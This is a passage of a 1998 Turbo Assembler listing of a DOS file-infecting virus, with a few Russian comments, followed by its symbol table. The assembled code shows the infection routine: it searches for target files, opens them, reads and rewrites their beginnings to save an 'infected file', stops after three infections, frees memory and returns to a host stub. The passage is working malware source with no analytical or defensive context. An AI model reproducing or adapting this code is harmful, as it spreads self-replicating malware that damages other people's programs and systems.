750 04AD 5E pop si 1 751 04AE 5F pop di 1 752 04AF 75 DA jne short find_block ; af ax <> 0 - find again 1 753 04B1 4F dec di 1 754 04B2 end_find_block: 1 755 04B2 8B 36 0226r mov si,[tab_index] ; si = ofs cmd in cmdlist 1 756 04B6 87 FE xchg di,si ; di = ofs cmd in cmdlist ; si = new ofs cmd 1 757 04B8 96 xchg ax,si ; ax = new ofs cmd ; si = ? 1 758 04B9 AB stosw ; change ofs in cmdlist to new 1 759 04BA 47 inc di ; skip cmd.len 1 760 04BB 87 F7 xchg si,di ; si = ofs next cmd in cmdlist 1 761 04BD 81 FE 039Dr cmp si,ofs cmdlistend; end of cmdlist 1 762 04C1 75 AE jne short infect_by_next2 ; no -> next cmd 1 763 1 764 04C3 2E: 8B 1E 021Er mov bx,cs:[_last] ; restore int3 1 765 04C8 2E: C6 07 CC mov bptr cs:[bx],0CCh 1 766 04CC stop_infect: 1 767 04CC 90 @m69: nop 1 768 04CD 8B 1E 0224r @m70: mov bx,[handle] ; bx = handle 1 769 04D1 1E @m71: push ds ; ds = cs 1 770 04D2 B8 4200 @m72: mov ax,4200h 1 771 04D5 99 @m73: cwd 1 772 04D6 33 C9 xor cx,cx 1 773 04D8 CD 21 @m74: int 21h ; lseek to begin 1 774 04DA 8B 16 0222r @m75: mov dx,[fsize] ; dx = file size + not founded cmds 1 775 04DE B9 029D @m76: mov cx,dataend-s ; длина VirMain & Data 1 776 04E1 81 C2 0101 @m77: add dx,101h ; почему 101h а не 100h 1 777 04E5 06 @m78: push es 1 778 04E6 1F @m79: pop ds ; ds = seg for allocate file 1 779 04E7 89 16 0229r @m80: mov [oentry],dx ; 1 780 04EB B4 3F @m81: mov ah,3Fh 1 781 04ED CD 21 @m82: int 21h ; read original begin 1 782 04EF 03 D1 @m83: add dx,cx 1 783 04F1 52 @m84: push dx ; dx = длина уже зараженного файла 1 784 04F2 B8 4200 @m85: mov ax,4200h 1 785 04F5 99 @m86: cwd 1 786 04F6 33 C9 @m87: xor cx,cx 1 787 04F8 CD 21 @m88: int 21h ; lseek to begin 1 788 04FA B4 40 @m89: mov ah,40h 1 789 04FC 59 @m90: pop cx ; cx = длина уже зараженного файла 1 790 04FD BA 0100 @m91: mov dx,100h 1 791 0500 FE CD @m92: dec ch ; в файле = в памяти - 100h 1 792 0502 CD 21 @m93: int 21h ; save infected file 1 793 0504 1F @m94: pop ds ; ds = cs 1 794 0505 FE 06 0228r @m95: inc inf_q 1 795 0509 close_file: 1 796 0509 90 @m96: nop 1 797 050A B4 3E @m97: mov ah,3Eh 1 798 050C CD 21 @m98: int 21h Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 15 main.asm 1 799 050E 80 3E 0228r 03 @m99: cmp inf_q,inf_max 1 800 0513 74 03 @m100: je short end_infect 1 801 0515 BD 02A4r lea bp,@findnext 1 802 0518 end_infect: 1 803 0518 90 @m101: nop 1 804 0519 8E 06 0220r @m102: mov es,[segbuf] 1 805 051D B4 49 @m103: mov ah,49h ; free buf seg 1 806 051F CD 21 @m104: int 21h 1 807 0521 0E @m105: push cs 1 808 0522 07 @m106: pop es 1 809 0523 B4 49 @m107: mov ah,49h ; free current seg 1 810 0525 CD 21 @m108: int 21h 1 811 0527 B4 48 @m109: mov ah,48h 1 812 0529 BB FFFF @m110: mov bx,0FFFFh ; get max size of mem block 1 813 052C CD 21 @m111: int 21h 1 814 052E B4 48 @m112: mov ah,48h ; allocate all aviable mem 1 815 0530 CD 21 @m113: int 21h 1 816 0532 B4 1A @m114: mov ah,1Ah ; restore DTA 1 817 0534 BA 0080 @m115: mov dx,80h 1 818 0537 CD 21 @m116: int 21h 1 819 0539 33 ED @m117: xor bp,bp ; equ jmp restore 1 820 053B @m118: 821 053B endvir: 822 include host.inc ; host programm 1 823 ; Host programm 1 824 053B hoststart: 1 825 053B C3 ret ;) 1 826 827 053C e: 828 end Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 16 Symbol Table Symbol Name Type Value ??DATE Text "04/06/98" ??FILENAME Text "main " ??TIME Text "18:06:12" ??VERSION Number 0400 @32BIT Text 0 @CLOSE_FILE Near DGROUP:035B @CODE Text DGROUP @CODESIZE Text 0 @CPU Text 0F0FH @CURSEG Text _TEXT @DATA Text DGROUP @DATASIZE Text 0 @END_INFECT Near DGROUP:036A @FILENAME Text MAIN @FINDNEXT Near DGROUP:02A4 @INTERFACE Text 00H @M1 Near DGROUP:039D @M10 Near DGROUP:03B2 @M100 Near DGROUP:0513 @M101 Near DGROUP:0518 @M102 Near DGROUP:0519 @M103 Near DGROUP:051D @M104 Near DGROUP:051F @M105 Near DGROUP:0521 @M106 Near DGROUP:0522 @M107 Near DGROUP:0523 @M108 Near DGROUP:0525 @M109 Near DGROUP:0527 @M11 Near DGROUP:03B3 @M110 Near DGROUP:0529 @M111 Near DGROUP:052C @M112 Near DGROUP:052E @M113 Near DGROUP:0530 @M114 Near DGROUP:0532 @M115 Near DGROUP:0534 @M116 Near DGROUP:0537 @M117 Near DGROUP:0539 @M118 Near DGROUP:053B @M12 Near DGROUP:03B5 @M13 Near DGROUP:03B9 @M14 Near DGROUP:03BB @M15 Near DGROUP:03BD @M16 Near DGROUP:03C0 @M17 Near DGROUP:03C1 @M18 Near DGROUP:03C7 @M19 Near DGROUP:03CA @M2 Near DGROUP:039E @M20 Near DGROUP:03CC @M21 Near DGROUP:03DD @M22 Near DGROUP:03E0 @M23 Near DGROUP:03E1 @M24 Near DGROUP:03E2 @M25 Near DGROUP:03E3 @M26 Near DGROUP:03E4 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 17 Symbol Table @M27 Near DGROUP:03E6 @M28 Near DGROUP:03E8 @M29 Near DGROUP:03EA @M3 Near DGROUP:03A0 @M30 Near DGROUP:03EC @M31 Near DGROUP:03EE @M32 Near DGROUP:03F1 @M33 Near DGROUP:03F2 @M34 Near DGROUP:03F4 @M35 Near DGROUP:0407 @M36 Near DGROUP:0408 @M37 Near DGROUP:040D @M38 Near DGROUP:040F @M39 Near DGROUP:0412 @M4 Near DGROUP:03A3 @M40 Near DGROUP:0414 @M41 Near DGROUP:0419 @M42 Near DGROUP:041C @M43 Near DGROUP:041F @M44 Near DGROUP:0421 @M45 Near DGROUP:0426 @M46 Near DGROUP:042A @M47 Near DGROUP:042B @M48 Near DGROUP:042D @M49 Near DGROUP:0430 @M5 Near DGROUP:03A5 @M50 Near DGROUP:0433 @M51 Near DGROUP:0435 @M52 Near DGROUP:0439 @M53 Near DGROUP:0446 @M54 Near DGROUP:0447 @M55 Near DGROUP:0448 @M56 Near DGROUP:0449 @M57 Near DGROUP:044A @M58 Near DGROUP:044D @M59 Near DGROUP:044E @M6 Near DGROUP:03AA @M60 Near DGROUP:0450 @M61 Near DGROUP:0453 @M62 Near DGROUP:0455 @M63 Near DGROUP:0456 @M64 Near DGROUP:045B @M65 Near DGROUP:045D @M66 Near DGROUP:0460 @M67 Near DGROUP:0462 @M68 Near DGROUP:0465 @M69 Near DGROUP:04CC @M7 Near DGROUP:03AC @M70 Near DGROUP:04CD @M71 Near DGROUP:04D1 @M72 Near DGROUP:04D2 @M73 Near DGROUP:04D5 @M74 Near DGROUP:04D8 @M75 Near DGROUP:04DA @M76 Near DGROUP:04DE @M77 Near DGROUP:04E1 @M78 Near DGROUP:04E5 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 18 Symbol Table @M79 Near DGROUP:04E6 @M8 Near DGROUP:03AE @M80 Near DGROUP:04E7 @M81 Near DGROUP:04EB @M82 Near DGROUP:04ED @M83 Near DGROUP:04EF @M84 Near DGROUP:04F1 @M85 Near DGROUP:04F2 @M86 Near DGROUP:04F5 @M87 Near DGROUP:04F6 @M88 Near DGROUP:04F8 @M89 Near DGROUP:04FA @M9 Near DGROUP:03B0 @M90 Near DGROUP:04FC @M91 Near DGROUP:04FD @M92 Near DGROUP:0500 @M93 Near DGROUP:0502 @M94 Near DGROUP:0504 @M95 Near DGROUP:0505 @M96 Near DGROUP:0509 @M97 Near DGROUP:050A @M98 Near DGROUP:050C @M99 Near DGROUP:050E @MEM Near DGROUP:023E @MEM_OK Near DGROUP:026B @MODEL Text 1 @STACK Text DGROUP @STARTUP Near DGROUP:0100 @WORDSIZE Text 2 BAD_FILE Near DGROUP:0443 BLOCK_NOT_FOUND Near DGROUP:0494 BPTR Text byte ptr CHK_EQU_BLOCK Near DGROUP:04A2 CLEAR_OK Near DGROUP:045B CLOSE_FILE Near DGROUP:0509 CMDLIST Near DGROUP:023E CMDLISTEND Near DGROUP:039D DATAEND Near DGROUP:039D E Near DGROUP:053C EMUINT Word DGROUP:01D1 ENDVIR Near DGROUP:053B END_FIND_BLOCK Near DGROUP:04B2 END_INFECT Near DGROUP:0518 EOL Text 13,10,'$' FIND1ST Near DGROUP:03EC FIND1ST_OK Near DGROUP:03F9 FINDNEXT Near DGROUP:0407 FINDNEXT_OK Near DGROUP:0419 FIND_BLOCK Near DGROUP:048B FSIZE Word DGROUP:0222 GOOD_FILE Near DGROUP:0446 HANDLE Word DGROUP:0224 HOSTSTART Near DGROUP:053B INFECT_BY_NEXT Near DGROUP:0465 INFECT_BY_NEXT2 Near DGROUP:0471 INF_MAX Number 0003 INF_Q Byte DGROUP:0228 Turbo Assembler Version 4.0 04/06/98 18:06:12 Page 19 Symbol Table MCNT1 Number 0076 MCNT2 Number 0077 MEM Near DGROUP:039D MEM_NOT_OK Near DGROUP:03AA MEM_OK Near DGROUP:03C0 MSK Word DGROUP:022B MYINT1 Near DGROUP:017F MYINT3 Near DGROUP:01FD NOT_INT Near DGROUP:01E9 OENTRY Word DGROUP:0229 OFS Alias OFFSET OPEN_OK Near DGROUP:0426 RESTORE Near DGROUP:0144 S Near DGROUP:0100 SEGBUF Word DGROUP:0220 SIGN Near DGROUP:0144 STOP Near DGROUP:01F1 STOP_INFECT Near DGROUP:04CC TAB_INDEX Word DGROUP:0226 TRACEN Near DGROUP:01AC VNAME Byte DGROUP:0231 VS Number 029D WPTR Text word ptr _LAST Word DGROUP:021E _REST Near DGROUP:0176 _REST1 Near DGROUP:017F _SAVEW Word DGROUP:021C Macro Name CMD I ICMD PRNAZ PRNCHR PRNSTR SLEEP Groups & Segments Bit Size Align Combine Class DGROUP Group _DATA 16 0000 Word Public DATA _TEXT 16 053C Word Public CODE